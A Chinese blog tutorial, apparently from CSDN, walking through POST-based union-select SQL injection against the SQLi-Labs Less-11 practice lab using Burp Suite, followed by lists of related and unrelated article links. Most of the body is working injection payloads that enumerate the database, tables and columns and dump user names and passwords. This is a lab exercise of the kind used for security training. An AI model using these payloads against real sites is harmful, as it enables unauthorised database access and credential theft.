本章目的
普及POST注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程。
实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:Sqlmap、Burpsuite、FireFox浏览器及其插件Hackbar、等

(3)登录账号密码:操作系统帐号Administrator,密码123
靶机:A-SQLi-Labs
(1)操作系统:本机(建议用虚拟机)不过我太懒了[]~( ̄▽ ̄)~*Centos7(本机亦可)
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、

webug3.0下载环境搭建
(3)登录账号密码:操作系统帐号root,密码666

实验原理
POST注入,其注入点存在于POST表单中的参数处。攻击者可以通过代理抓包工具(如Burpsuite)拦截并修改POST表单中的参数,利用unionselect命令进行注入,暴露数据库中存储的信息。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-11为入口,利用联合查询(union select)的方式实施SQL注入,获取SQLi-Labs网站的登录用户名和密码。
1.访间SQLi-Labs网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问粑机A-SQLi-Labs上的
SQLi-Labs网站Less-11。访问的URL为:

http://[把机IP]/sqli-labs/less-11/

(注意大小写)

2.利用Burpsuite工具抓包
(1)启动Burpsuite

(2)设置Burpsuite的代理服务端口
在Burpsuite软件界面上选择选项卡 Proxy->Options,在ProxyListeners模
块下,将Burpsuite的代理服务端口设置为8080(此为Burpsuite默认的服务端
口)。

(3)开启Burpsuite的代理拦截功能
在Burpsuite软件界面上选择选项卡“Proxy“->“lntercept”,将拦截开关按钮的状
态设置为Interceptison。

注意:上述设置完成之后,不要关闭Burpsuite!
(4)设置Fiefox代理
回到FireFox浏览器界面,鼠标右键单击浏览器地址栏右方的FoxyProxy插件图
标按钮,在弹出的菜单中选择“为全部URLS启用代理服务器127.0.0.1:8080”

代理成功变为蓝色。

抓包成功

(6)将Burpsuite工具拦截到的HTTP请求包发送至Repeater模块。选中拦截到的HTTP请求包全部内容,单击鼠标右键,在弹出的菜单中选择“Send to Repeater”,将其发送给Burpsuite的Repeater模块。

发送成功后,在Burpsuite的Repeater选项卡下能够看到刚刚拦截的HTTP请求包内容。

转换为视图成功

后续的步骤中,可以继续在Repeater选项卡下的Request栏中设置注入的payload,设置完成后点击Send按钮发送,并在Response栏中观察目标服务器的响应

3.寻找注入点
在POST表单处,分别使用以下2条payload寻找注入点及判断注入点的类型:

uname=admin'&passwd=1&submit=Submit

报错!

uname=admin'#&passwd=1&submit=Submit

目标正常会显用户名和密码!

由此可以判断,目标网站在POST参数处存在字符型注入点

4.判断网站查询的字段数

尝试使用以下 payload获取网站查询的字段数(关键字 order by):

uname=admin ' order by 1#&passwd=1&submi=Submit

目标正常会显用户名和密码

uname=admin' order by 2#&passwd=1&submit= Submit

目标正常回显用户名和密码!

uname=admin' order by 3#&passwd=1&submit=Submit

报错!

 uname=admin' order by 3#&passwd=1&submit= Submit

由此可以判断,网站查询的字段数为2。

5.判断网站的回显位置

利用以下 payload判断网站的回显位置:

uname=admin' and 1=2 union select 1,2#&passwd=1&submit=Submit

运行结果,1号位和2号位均可以回显!

6.获取网站当前所在数据库的库名

利用以下 payload获取冈站当前所在数据库的库名

uname=admin' and 1=2 union select 1, database() #&passwd=1&submit=Submit

显示结果为 security

7.获取数据库 security的全部表名

使用以下 payload获取数据库 security的全部表名

uname=admin' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=1&submit=Submit

结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息

8.获取 users表的全部字段名

使用以下 payload获取 users表的全部字段名:


uname=admin' and 1=2 union select 1,group_concat(column_name) from
information_schema.columns where table_schema='security' and
table_name='users'#&passwd=1&submit=Submit

9.获取 users表id、 username和 password字段的全部值由于 users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过 limit m.n的方式逐条显示,如

(1)显示第1组数据

uname=admin 'and 1=2 union select 1,concat_ws(',',id,username, password) from security.users limit 0,1#&passwd=1&submit=Submi

显示结果为Dump,Dump。

2)显示第2组数据


uname=admin' and 1=2 union select 1, concat_ws(',',id, username, password) from security.users limit 1, 1#&passwd=1&submit=Submit

显示结果为 Angelina,- kill-you

(3)显示第3组数据

uname=admin' and 1=2 union select 1,concat_ws(',', id, username,password) from security.users limit 2,1#&passwd=1&submit=Submit

显示结果为 Dummy,p@ssword

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全
部暴露出来。

SQL注入——SQLmap的进阶使用(十五)_Gjqhs的博客-CSDN博客

SOL注入-基于联合查询的数字型GET注入           burpsuite下载使用

SQL注入-基于联合查询的字符型GET注入      SQL注入 - sql数据库操作基础

...

关注我即刻查看其他SQL注入

SOL注入——基干联合查询的POST注入(四)相关推荐

  1. 01_SQL注入_Mysql注入利用联合查询的手工注入

    01_SQL注入_Mysql注入:利用联合查询的手工注入 1.SQL注入的成因 [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! 遵纪守 ...

  2. SQL注入——基于联合查询的POST注入

    实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...

  3. SQL注入--基于联合查询的POST注入

    实验目的: 理解数字型GET注入的原理和特点,掌握利用联合查询(union select)的方法实现SQL注入的基本流程 实验原理 POST注入,其注入点存在于POST表单中的参数处.攻击者可以通过代 ...

  4. SQL注入——基于联合查询的字符型GET注入(三)

    本章目的 普及字符型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 ( ...

  5. SQL注入之联合查询(MySQL)

    SQL注入之联合查询 0x00 前期准备 0x01 联合查询前提 0x02 注入步骤 0x03个人小结 一.Mysql注释 二.Mysql系统函数 三.其他 0x00 前期准备 环境搭配:Apache ...

  6. SQL注入之联合查询注入

    MySQL中的联合查询 联合查询是可合并多个相似的选择查询的结果集.等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL 联合查询:将多个查询的结果 ...

  7. sql注入 union联合查询注入(超详细)

    sql注入 union联合查询注入 我们以sqli-labs的第一关为例,来具体理解union联合查询注入的方法,理解每一步我为什么要这么去做. 好的,我们开始第一关! 首先查看sqli-labs第一 ...

  8. 【SQL注入】联合查询(最简单的注入方法)

    目录 一.介绍: 二.原理: 三.前提条件 四.利用过程 一.介绍: 是最简单的一种注入方法 联合查询注入  报错查询注入  布尔型注入  延时注入  堆叠查询注入 二.原理: 就是可合并多个查询的结 ...

  9. SQL注入原理及实践(一)--SQL注入之联合查询

    SQL注入原理及实践(一)–SQL注入之联合查询 1)判断注入类型 一般采用[1and1=2]去判断,当输入[1and1=2]时, 如果报错,则为数字型注入, 如果显示正常,则为字符型注入 原理如下: ...

最新文章

  1. python 文案自动生成_Python自动化测试如何自动生成测试用例?
  2. 详解CPU漏洞对机器学习的影响:几乎所有卷积层都受影响,QR分解降速37%
  3. Xamarin.Forms获取设备屏幕大小
  4. php字符串常用算法--字符串加密解密
  5. android avd orientation support,Android AVD-无法旋转风景/人像
  6. SqlServer之代码块相关
  7. linux下echo与time服务的程序实现
  8. html修改details范围,HTML details 标签
  9. hdu 4296 Buildings (贪心)
  10. Python使用标准库urllib模拟浏览器爬取网页内容
  11. 1121 - Reverse the lights 思维题
  12. Spring工作原理
  13. 【USB】STM32模拟USB鼠标
  14. scl语言用plc脉冲做定时器_scl语言用plc脉冲做定时器_西门子PLC SCL语言开发学习笔记(二)...
  15. oracle 01405 提取的值为null,ORA-01405 : fetched column value is NULL
  16. 【前端】elementUI分页场景下对表格进行排序
  17. JS小知识,如何将 CSV 转换为 JSON 字符串
  18. 用IE网页学游戏-井字棋
  19. 输出华氏-摄氏温度转换表
  20. 发票代码的含义(专,普)

热门文章

  1. 木门怎么打_旧木门拆掉改成衣柜门,完工像收破烂的,要不是能省几个钱谁干?...
  2. 中文只占一个字符_一文搞懂字符和字节的含义
  3. 我收藏的一份嵌入式软硬件内容(含PDF下载)
  4. 晶振,数字电路的心脏~
  5. python中填充颜色结束的程序_在ttk/python中更改标签小部件的填充颜色
  6. HDLBits答案(16)_Verilog有限状态机(3)
  7. 基于 FPGA 的以太网回环测试verilog实现UDP协议
  8. pythonkeras数据增强_Keras数据增强参数
  9. shownews.php,newsshow.php
  10. 家装强电弱电布线图_家装水电安装技巧?水电验收技巧?